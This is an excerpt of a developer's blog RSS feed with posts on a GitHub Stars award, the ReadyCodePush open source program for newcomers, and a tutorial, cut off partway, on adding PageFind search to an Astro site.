&lt;p&gt;I hope you’ll find the &lt;a href=&quot;https://github.com/lirantal/asciidoc-book-starter&quot;&gt;AsciiDoc Book Starter&lt;/a&gt; repository useful for your own book authoring journey.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Another shout out to &lt;a href=&quot;https://twitter.com/alexbdebrie&quot;&gt;Alex DeBrie&lt;/a&gt; 🤗 who’s the author of &lt;a href=&quot;https://dynamodbbook.com/&quot;&gt;The DynamoDB Book&lt;/a&gt; and who helped me get started with my own self-published AsciiDoc book using his repository as a starting point for the AsciiDoc setup.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>Celebrating Community: My Journey to Receiving the GitHub Stars 2023 Award</title><link>https://lirantal.com/blog/celebrating-community-my-journey-to-receiving-the-github-stars-2023-award/</link><guid>https://lirantal.com/blog/celebrating-community-my-journey-to-receiving-the-github-stars-2023-award/</guid><description>Reflecting on the spirit of the GitHub Stars award and capturing the essence of the journey towards the recognition and open source community engagement.</description><pubDate>Thu, 16 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Being part of the open source software community has been a fulfilling experience and one that I have been committed to for more than two decades now. I have been fortunate to have the opportunity to work on a variety of projects and contribute to the community in many ways. Some of the most meaningful work that I have done has been around promoting the importance of web security and raising awareness of software supply chain security issues. I believe that everyone has a responsibility to make the web a more secure place, and I am proud to be part of a community that shares that belief.&lt;/p&gt;
&lt;p&gt;For me, the free and open source software movement (FOSS) has been a passion since I was an early age Linux enthusiast in my teen years, where I was actively following the Linux kernel mailing list and dabbled around in the cyberspace of BBSs and those early days of Bazaar-style software development.&lt;/p&gt;
&lt;p&gt;I have dedicated most of my adult life to build software in the open, to engage with other developers around the world and contribute to open source software. It’s been a fullfilling and inspirational journey to join countless others across multiple disciplines of software development and build great things together.&lt;/p&gt;
&lt;p&gt;It’s always about changing the world for the better and doing so with extreme kindness. And hugging. I’m a big hugger! 🤗&lt;/p&gt;
&lt;p&gt;Nowadays, it’s been a decade long of work spent in the Node.js and JavaScript ecosystems. I started my Node.js journey with contributions and later on the project-lead of the &lt;a href=&quot;https://github.com/meanjs/mean&quot;&gt;MEAN.js&lt;/a&gt; full-stack JavaScript framework that’s built on Node.js, MongoDB, Express and AngularJS. These opportunities turned into fun hobbies like building command-line applications to manager Docker containers (&lt;a href=&quot;https://github.com/lirantal/dockly/&quot;&gt;dockly&lt;/a&gt;), and later on, working on matters of open source security. Projects such as &lt;a href=&quot;https://github.com/lirantal/awesome-nodejs-security&quot;&gt;Awesome Node.js Security&lt;/a&gt; help curate security incidents and raise awareness of security issues in the Node.js ecosystem.&lt;/p&gt;
&lt;p&gt;Code projects I’ve build such as &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt;, &lt;a href=&quot;https://github.com/lirantal/lockfile-lint&quot;&gt;lockfile-lint&lt;/a&gt; and &lt;a href=&quot;https://github.com/lirantal/is-website-vulnerable&quot;&gt;is-website-vulnerable&lt;/a&gt; have been instrumental to helping millions of developers to secure their software supply chains and web applications.&lt;/p&gt;
&lt;p&gt;For me, web security activism took many shapes and forms, from authoring books such as &lt;a href=&quot;https://leanpub.com/essential-nodejs-security&quot;&gt;Essential Node.js Security&lt;/a&gt; and &lt;a href=&quot;https://www.oreilly.com/library/view/serverless-security/9781492082538/&quot;&gt;Serverless Security&lt;/a&gt;, to actively analyzing hundreds vulnerable code in npm packages as part of HackerOne’s Node.js Ecosystem Security working group.&lt;/p&gt;
&lt;p&gt;This last year has been especially exciting to also unlock a new type of open source activism for me - the &lt;a href=&quot;https://www.lirantal.com/blog/open-source-activism-readycodepush&quot;&gt;ReadyCodePush&lt;/a&gt; project. It’s one that I am very proud of as it has been a great way to share my passion of open source with the next generation of developers and help them to get started with open source contributions. It specifically aimed to include underrepresented groups and those new to open source software, often without even a GitHub account, and help them to get started with their first open source contribution.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.lirantal.com/images/blog/readycodepush-IMG-20220323-WA0015.jpg&quot; alt=&quot;ReadyCodePush open source program&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-github-stars-program&quot;&gt;What is the GitHub Stars program?&lt;/h2&gt;
&lt;p&gt;GitHub being the home of the world’s largest open source community, it is only natural that they would have a program to recognize and celebrate the contributions of developers who are making a difference in the open source community.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://stars.github.com/&quot;&gt;GitHub Stars program&lt;/a&gt; is a way for GitHub to recognize and celebrate the contributions of developers who are making a difference in the open source community. The program is designed to recognize developers who are making a positive impact on the open source community and who are committed to building a better future for all of us.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/lirantal-github-star-2021-award-letter.jpeg&quot; alt=&quot;GitHub Stars 2023 Award&quot;&gt;&lt;/p&gt;
&lt;p&gt;Some incredibly inspiring colleagues of the GitHub Stars alumni include &lt;a href=&quot;https://stars.github.com/profiles/foosel/&quot;&gt;Gina Häußge&lt;/a&gt; who is a full-time open source maintainer on OctoPrint, &lt;a href=&quot;https://stars.github.com/profiles/segunadebayo/&quot;&gt;Oluwasegun Adebayo&lt;/a&gt; who is the creator of the open source project UI components library called Chakra UI, and &lt;a href=&quot;https://stars.github.com/profiles/bagder/&quot;&gt;Daniel Stenberg&lt;/a&gt; who is the maintainer of the &lt;code&gt;curl&lt;/code&gt; project.&lt;/p&gt;
&lt;p&gt;Behind the scenes, stand the wonderful humans &lt;a href=&quot;https://github.com/anipind&quot;&gt;Anisha Pindoria&lt;/a&gt; and &lt;a href=&quot;https://github.com/martinwoodward&quot;&gt;Martin Woodward&lt;/a&gt; who are the masterminds of the GitHub Stars program and orchestrate it to excellency as part of their work in GitHub’s Developer Relations team. I am thankful for the opportunity to be part of the GitHub Stars Insight Calls, the Stars slack channel and interact with other open source champions and product managers at GitHub. These have been valuable resources for me to learn and connect with other developers and I am grateful for the opportunity to take part in this program.&lt;/p&gt;
&lt;h2 id=&quot;gratitude&quot;&gt;Gratitude&lt;/h2&gt;
&lt;p&gt;I am beyond grateful and honored to receive the &lt;a href=&quot;https://stars.github.com/profiles/lirantal/&quot;&gt;GitHub Stars 2023 Award&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As a developer, I am passionate about the potential of open source software to transform the world of technology. The ability to collaborate, innovate and create new and exciting projects together with a vibrant community of developers is a privilege that I am grateful for every day. I have been fortunate to have the opportunity to work on a variety of projects and contribute to the community in many ways. Some of the most meaningful work that I have done has been around promoting the importance of web security and raising awareness of software supply chain security issues. I believe that everyone has a responsibility to make the web a more secure place, and I am proud to be part of a community that shares that belief.&lt;/p&gt;
&lt;p&gt;Through these last couple of years, I have worked on several projects within the GitHub ecosystem that have been exciting and challenging. Whether it’s educating developers about insecure web applications, command-line tools or contributing to the development of open-source libraries, I always try to give my best and learn from others. And equally important - lift others up and recognize their work.&lt;/p&gt;
&lt;p&gt;It is this constant drive to build anew, improve and push the boundaries of what is possible that I believe is the key to a thriving open source software ecosystem. I believe that together, we can make significant advancements in technology. To that end, the GitHub platform and the community around it, has played a vital role in shaping my career and helping me to grow as a developer.&lt;/p&gt;
&lt;p&gt;This recognition means a lot to me, and I deeply appreciate it.&lt;/p&gt;
&lt;p&gt;I would like to thank the GitHub team for this incredible honor, and I look forward to continuing to work with the community to build great things in open source. Thank you for your ongoing support and encouragement, and I hope to inspire and help others in the same way that you have inspired and helped me.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/lirantal-github-stars-2023-award-blog.png&quot; alt=&quot;Liran Tal receiving GitHub Stars 2021 Award&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Open Source activism with ReadyCodePush</title><link>https://lirantal.com/blog/open-source-activism-readycodepush/</link><guid>https://lirantal.com/blog/open-source-activism-readycodepush/</guid><description>Reflecting on ReadyCodePush, the first open source activism program I ran in 2022 and how it welcomed underrepresented groups and students into open source software.</description><pubDate>Sat, 25 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On April 5th 2022, I wrapped up the very first open source activism program in which I set out to promote hands-on practical education for open source software among inexperienced and underrepresented groups. Here is how the universe helped me manifest an idea about open source into real-world impact.&lt;/p&gt;
&lt;p&gt;Going into 2022, I wanted this year to be more about driving meaningful impact for open source software. It seemed unthinkable to me that Computer Science students or developers already incorporated into the industry don’t have a GitHub account, or never took part in collaborating in open source projects. I wanted this to be about collaboration and welcoming participation to developers who hadn’t yet &lt;em&gt;felt the rush&lt;/em&gt; of getting their pull requests merge.&lt;/p&gt;
&lt;p&gt;I also wanted to spend more of my time with underrepresented groups. Earlier in 2022, I reached out to bootcamps and meetup groups such as &lt;a href=&quot;https://www.shehackske.com/&quot;&gt;SheHacks KE&lt;/a&gt; which promotes cybersecurity awareness for women in Kenya and lead a presentation about open source security and secure coding with Node.js. I wanted to do more of this, and with more focus about open source software in general. How do I go about doing that?&lt;/p&gt;
&lt;p&gt;The brainstorm begins. One idea was about running some sort of Open Source Day at Universities and plan a schedule where we learn, practice and celebrate open source collaboration. I had started conversations with folks but it didn’t move anywhere. At work, I was also very busy and together with all of the time I’m already investing with communities and open source development, I barely get my 6 hours of sleep anyway. My idea almost faded away… until one day!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/readycodepush-276008702_287419830214428_2577227116023480938_n.jpeg&quot; alt=&quot;ReadyCodePush&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-emergence-of-readycodepush&quot;&gt;The Emergence of ReadyCodePush&lt;/h2&gt;
&lt;p&gt;One day back in February 2022, I went out to work from a small co-working space in my suburb city, Ashdod. I don’t live in the tech valley of Tel Aviv. Most of the working desks were occupied by students and it was a lovely atmosphere that reminded me of college working groups. Since this was my first time there, I naturally had a conversation with the co-working space owner and he shared with me about his attempts of creating a local community for folks in the city where everyone help each other and also help them succeed in their career journey. &lt;strong&gt;This was it. Thoughts become words, words become actions, actions become reality&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I proposed the idea of running a workshop about open source software. He immediately smiled and said &lt;code&gt;MADNESS! Let’s do it!&lt;/code&gt;. That’s all it took. A few days later of that February 2022, I started drawing out the concept for a program that would come to span over &lt;a href=&quot;https://github.com/ReadyCodePush/program/blob/main/README.md#how&quot;&gt;4 weekly classes&lt;/a&gt;. I created a &lt;a href=&quot;https://github.com/ReadyCodePush/program/blob/main/README.md#what-you-will-learn&quot;&gt;syllabus&lt;/a&gt; for bringing the students up to date with collaborating on open source software. I had two guiding principles: (1) the program needs to be inclusive, with specific &lt;a href=&quot;https://github.com/ReadyCodePush/program/blob/main/README.md#kpi&quot;&gt;success KPIs&lt;/a&gt; for inclusivity around gender and underrepresented groups, and (2) the program needs to be practical and hands-on, and yet not require any prior knowledge of programming. There are also no slides beyond briefly presenting topics.&lt;/p&gt;
&lt;p&gt;This program came to be &lt;a href=&quot;https://github.com/ReadyCodePush&quot;&gt;ReadyCodePush&lt;/a&gt; 🎉&lt;/p&gt;
&lt;p&gt;The first cohort of students were recruited from the co-working space. I was lucky to have a few volunteers who helped me run the program. I was also lucky to have sponsors who helped me with the program. I’m grateful to &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt; for sponsoring the program and providing me with a budget to run the program. I’m also grateful to &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt; for providing me with a GitHub Education Pack for the students, and &lt;a href=&quot;https://hubashdod.co.il&quot;&gt;Hub Ashdod&lt;/a&gt; for providing the venue and great pizza for the students 🍕.&lt;/p&gt;
&lt;p&gt;A brief overview of &lt;a href=&quot;https://github.com/ReadyCodePush/program/blob/main/README.md#program-syllabus&quot;&gt;ReadyCodePush course curriculum&lt;/a&gt; is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Class 1 - Open-source software and the GitHub Developer Platform&lt;/li&gt;
&lt;li&gt;Class 2 - Software development on GitHub’s developer platform&lt;/li&gt;
&lt;li&gt;Class 3 - Automate software delivery with GitHub Actions&lt;/li&gt;
&lt;li&gt;Class 4 - Securing open-source software with Snyk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/readycodepush-IMG-20220323-WA0015.jpg&quot; alt=&quot;ReadyCodePush&quot;&gt;&lt;/p&gt;
&lt;p&gt;Through-out this program, I saw students creating their first GitHub user, earning their first green contribution square 🟩, creating a GitHub user profile &lt;code&gt;README&lt;/code&gt;, creating their first repository, and forking and opening pull requests. That’s a lot for folks new to open source development. It didn’t end there. We learned and practiced configuring GitHub Actions, creating a Snyk account and seeing vulnerabilities come to life for the first time, as well as fixing them. They were all hooked on open source now. Some of them were even hooked on cybersecurity and keen to explore it as their next career step.&lt;/p&gt;
&lt;p&gt;One of the students, &lt;a href=&quot;https://github.com/sagiweizmann&quot;&gt;Sagi Weizmann&lt;/a&gt;, is a full time employee full stack developer, and volunteered to run the DevOps introduction per the curriculum featured in Class 3. What a hero! Sharing his experiences, practicing public speaking, and taking active part in this program. I was proud, impressed and thankful.&lt;/p&gt;
&lt;p&gt;Together with &lt;a href=&quot;https://hubashdodi.wixsite.com/hub-ashdod&quot;&gt;Hub Ashdod&lt;/a&gt;, the co-working space had provided the venue, brought the empathic humans together, and treated us for great pizza. We launched the program in March 2022, recruiting 34 students who regularly came to the in-person classes on Tuesdays from 6pm to 9pm, and actively participate. We concluded the program in the second week of April, 2022 with the first cohort. IT WAS AMAZING.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/readycodepush-IMG-20220406-WA0005.jpg&quot; alt=&quot;ReadyCodePush&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/readycodepush-WhatsAppImage2022-04-06.jpeg&quot; alt=&quot;ReadyCodePush&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>How to add client-side search with PageFind to your Astro blog static website</title><link>https://lirantal.com/blog/2023-01-01_-how_to_add_client-side_search_to_your_astro_blog_static_website/</link><guid>https://lirantal.com/blog/2023-01-01_-how_to_add_client-side_search_to_your_astro_blog_static_website/</guid><description>PageFind client-side search for Astro is simple but if you want to add search capabilities to a personal blog then you might think of Algolia first. However, let me show you how an easy PageFind integration would be more suitable for a  static-site generation type of blog tech.</description><pubDate>Tue, 24 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pagefind.app&quot;&gt;PageFind&lt;/a&gt; is a client-side search tool that can be used to add search to your static website. It’s a great tool for adding search to your Astro blog, as it’s a client-side tool that doesn’t require any server-side processing.&lt;/p&gt;
&lt;p&gt;PageFind works by crawling your static website’s build directory and creating a search index from it. It then generates a set of assets that you can include in your website’s HTML. These assets include a search box UI that you can add to your website, and a JavaScript and CSS files that you can include in your website’s HTML.&lt;/p&gt;
&lt;p&gt;This makes it a great fit for Server-side Generated (SSG) static websites, such as Astro, Hugo, Eleventy, SvelteKit, and others.&lt;/p&gt;
&lt;p&gt;Let’s learn how to add a fully static client-side search to an &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt; blog website.&lt;/p&gt;
&lt;h2 id=&quot;install-pagefind-client-side-search&quot;&gt;Install PageFind client-side search&lt;/h2&gt;
&lt;p&gt;Some developers may have security rules to prevent installing packages that have post-install scripts. This is great, because it helps to mitigate incidents of malicious packages.
If you are one of them, you should update your local project’s &lt;code&gt;.npmrc&lt;/code&gt; file to allow installing packages that have post-install scripts. The reason for that is that &lt;code&gt;PageFind&lt;/code&gt; is natively a Rust-based tool, and it performs a post-install script to download the pre-built binary for your platform.&lt;/p&gt;
&lt;p&gt;Update your &lt;code&gt;.npmrc&lt;/code&gt; file to allow installing packages that have post-install scripts:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;ignore-scripts=false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then proceed to installing &lt;code&gt;PageFind&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install --save-dev pagefind&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;add-pagefind-to-your-astro-project&quot;&gt;Add PageFind to your Astro project&lt;/h2&gt;
&lt;p&gt;First off, you need to add the &lt;code&gt;PageFind&lt;/code&gt; component to your Astro project. You can do that by creating a new file in your project’s &lt;code&gt;src/components&lt;/code&gt; directory, and name it &lt;code&gt;PageFind.astro&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;search&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ml-3 p-4 -mt-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	window.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DOMContentLoaded&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;PagefindUI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ element: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#search&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, resetStyles: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    window.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;keydown&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (event.key &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; event.key &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;you pressed the slash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            event.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;preventDefault&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            document.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;querySelector&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;div#search input&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;focus&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;is:global&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;.dark&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;--pagefind-ui-primary&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;#eeeeee&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;--pagefind-ui-text&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;#eeeeee&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;--pagefind-ui-background&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;#152028&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;--pagefind-ui-border&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;#152028&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;--pagefind-ui-tag&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;#152028&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don’t forget the &lt;code&gt;is:global&lt;/code&gt; attribute on the &lt;code&gt;&amp;#x3C;style&gt;&lt;/code&gt; tag. This is required to make the styles global, so they can be applied to the search box your website’s dark mode layout toggles.&lt;/p&gt;
&lt;p&gt;You’ll notice that this also includes a &lt;code&gt;dark&lt;/code&gt; class that you can use to style the search box when your website is in dark mode. You can also add your own custom styles to the search box. This will automatically enable the classic &lt;code&gt;dark&lt;/code&gt; and &lt;code&gt;light&lt;/code&gt; modes that are available in some themes for Astro.&lt;/p&gt;
&lt;h2 id=&quot;add-pagefind-search-component-to-the-blog-page&quot;&gt;Add PageFind search component to the blog page&lt;/h2&gt;
&lt;p&gt;Update your blog page to include the &lt;code&gt;PageFind&lt;/code&gt; component. You can do that by adding the following line to your &lt;code&gt;src/pages/[...blog]/[...page].astro&lt;/code&gt; file, if that’s where you have your blog page:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
